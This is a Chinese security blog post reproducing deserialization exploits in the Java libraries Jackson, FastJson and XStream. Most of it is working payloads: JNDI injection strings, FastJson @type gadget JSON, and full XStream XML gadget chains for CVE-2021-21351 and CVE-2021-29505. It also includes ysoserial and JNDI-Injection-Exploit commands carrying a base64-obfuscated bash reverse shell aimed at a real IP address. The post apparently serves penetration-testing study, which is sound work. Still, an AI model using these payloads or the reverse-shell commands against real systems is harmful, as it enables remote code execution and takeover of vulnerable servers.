开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现

Ethan医生3个月前服务安全97

黑盒检测:Java应用 请求参数数据以json/xml格式发送测试

黑盒判断:通过提交数据报错信息得到什么组件

xml格式(xstream) 或 json 格式(fastjson jackson)

白盒:直接看引用组件版本

 

#J2EE-组件Jackson-本地demo&CVE

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

历史漏洞:https://avd.aliyun.com/search?q=Jackson

 

1、代码执行 (CVE-2020-8840)

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

2、代码执行 (CVE-2020-35728

FasterXML jackson-databind 2.x < 2.9.10.8

String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]";

 

 

#J2EE-组件FastJson-本地demo&CVE

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean

历史漏洞:https://avd.aliyun.com/search?q=fastjson

利用POC:https://github.com/kezibei/fastjson_payload

FastJson <= 1.2.24

String payload = "{\r\n"

+ " \"a\": {\r\n"

+ " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"

+ " \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"

+ " \"autoCommit\": true\r\n"

+ " }\r\n"

+ "}";

 

FastJson <= 1.2.47

JSONObject jsonToObject = JSON.parseObject("{\n" +

" \"a\":{\n" +

" \"@type\":\"java.lang.Class\",\n" +

" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +

" },\n" +

" \"b\":{\n" +

" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +

" \"dataSourceName\":\"rmi://47.94.236.117:1099/j2azgf\",\n" +

" \"autoCommit\":true\n" +

" }\n" +

"}");

 

FastJson <= 1.2.80

利用poc只能用项目中调用的组件和类文件

 

 

#J2EE-组件XStream-本地demo&CVE

开源Java类库,能将对象序列化成XML或XML反序列化为对象

历史漏洞:https://avd.aliyun.com/search?q=XStream

 

1、代码执行 (CVE-2021-21351)

Xstream<=1.4.15

-生成反弹Shell的JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

-构造JNDI注入Payload提交

<sorted-set>

<javax.naming.ldap.Rdn_-RdnEntry>

<type>ysomap</type>

<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>

<m__DTMXRTreeFrag>

<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>

<m__size>-10086</m__size>

<m__mgrDefault>

<__overrideDefaultParser>false</__overrideDefaultParser>

<m__incremental>false</m__incremental>

<m__source__location>false</m__source__location>

<m__dtms>

<null/>

</m__dtms>

<m__defaultHandler/>

</m__mgrDefault>

<m__shouldStripWS>false</m__shouldStripWS>

<m__indexing>false</m__indexing>

<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>

<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>

<javax.sql.rowset.BaseRowSet>

<default>

<concurrency>1008</concurrency>

<escapeProcessing>true</escapeProcessing>

<fetchDir>1000</fetchDir>

<fetchSize>0</fetchSize>

<isolation>2</isolation>

<maxFieldSize>0</maxFieldSize>

<maxRows>0</maxRows>

<queryTimeout>0</queryTimeout>

<readOnly>true</readOnly>

<rowSetType>1004</rowSetType>

<showDeleted>false</showDeleted>

<dataSource>rmi://evil-ip:1099/example</dataSource>

<listeners/>

<params/>

</default>

</javax.sql.rowset.BaseRowSet>

<com.sun.rowset.JdbcRowSetImpl>

<default/>

</com.sun.rowset.JdbcRowSetImpl>

</fPullParserConfig>

<fConfigSetInput>

<class>com.sun.rowset.JdbcRowSetImpl</class>

<name>setAutoCommit</name>

<parameter-types>

<class>boolean</class>

</parameter-types>

</fConfigSetInput>

<fConfigParse reference='../fConfigSetInput'/>

<fParseInProgress>false</fParseInProgress>

</m__incrementalSAXSource>

<m__walker>

<nextIsRaw>false</nextIsRaw>

</m__walker>

<m__endDocumentOccured>false</m__endDocumentOccured>

<m__idAttributes/>

<m__textPendingStart>-1</m__textPendingStart>

<m__useSourceLocationProperty>false</m__useSourceLocationProperty>

<m__pastFirstElement>false</m__pastFirstElement>

</m__dtm>

<m__dtmIdentity>1</m__dtmIdentity>

</m__DTMXRTreeFrag>

<m__dtmRoot>1</m__dtmRoot>

<m__allowRelease>false</m__allowRelease>

</value>

</javax.naming.ldap.Rdn_-RdnEntry>

<javax.naming.ldap.Rdn_-RdnEntry>

<type>ysomap</type>

<value class='com.sun.org.apache.xpath.internal.objects.XString'>

<m__obj class='string'>test</m__obj>

</value>

</javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

 

2、远程代码执行 (CVE-2021-29505

XStream <= 1.4.16

-生成反弹Shell的反序列化JNDI注入

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

-构造反序列化JNDI注入Payload提交

<java.util.PriorityQueue serialization='custom'>

<unserializable-parents/>

<java.util.PriorityQueue>

<default>

<size>2</size>

</default>

<int>3</int>

<javax.naming.ldap.Rdn_-RdnEntry>

<type>12345</type>

<value class='com.sun.org.apache.xpath.internal.objects.XString'>

<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>

</value>

</javax.naming.ldap.Rdn_-RdnEntry>

<javax.naming.ldap.Rdn_-RdnEntry>

<type>12345</type>

<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>

<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>

<parsedMessage>true</parsedMessage>

<soapVersion>SOAP_11</soapVersion>

<bodyParts/>

<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>

<attachmentsInitialized>false</attachmentsInitialized>

<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>

<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>

<names>

<string>aa</string>

<string>aa</string>

</names>

<ctx>

<environment/>

<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>

<java.rmi.server.RemoteObject>

<string>UnicastRef</string>

<string>47.94.236.117</string>

<int>1089</int>

<long>0</long>

<int>0</int>

<long>0</long>

<short>0</short>

<boolean>false</boolean>

</java.rmi.server.RemoteObject>

</registry>

<host>47.94.236.117</host>

<port>1089</port>

</ctx>

</candidates>

</aliases>

</nullIter>

</sm>

</message>

</value>

</javax.naming.ldap.Rdn_-RdnEntry>

</java.util.PriorityQueue>

</java.util.PriorityQueue>

相关文章

云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

#云原生-Docker安全-容器逃逸&内核漏洞细节部分在权限提升章节会详解,常用:CVE-2016-5195 CVE-2019-16884 CVE-2021-3493CVE-2021-2255...

云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

1、Docker是干嘛的?是一种开源的 容器化平台,用于快速开发、测试和部署应用程序。它的核心功能是通过“容器”(Container)技术,将应用程序及其依赖环境(如库、配置文件等)打包成一个轻量级、...

Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现

-Solr:主要基于HTTP和Apache Lucene实现的全文搜索服务器。历史漏洞:https://avd.aliyun.com/search?q=Solr黑盒特征:图标及端口83931、命令执行...

云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

#K8S集群架构解释(见上图参考)Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制...

云原生篇&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

场景实战:1、攻击Pod部署Web应用2、利用ApiServer未授权3、实现挂载目录宿主机逃逸4、利用污点Taint横向移动5、利用Config泄漏横向移动 Web应用部署:(struts...

云服务篇&对象存储&Bucket桶&任意上传&域名接管&AccessKey泄漏

云服务,顾名思义就是云上服务,在云厂商上购买的产品服务。国内有阿里云、腾讯云、华为云、天翼云、Ucloud、金山云等,国外有亚马逊的AWS、Google的GCP、微软的Azure,IBM云等。&nbs...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。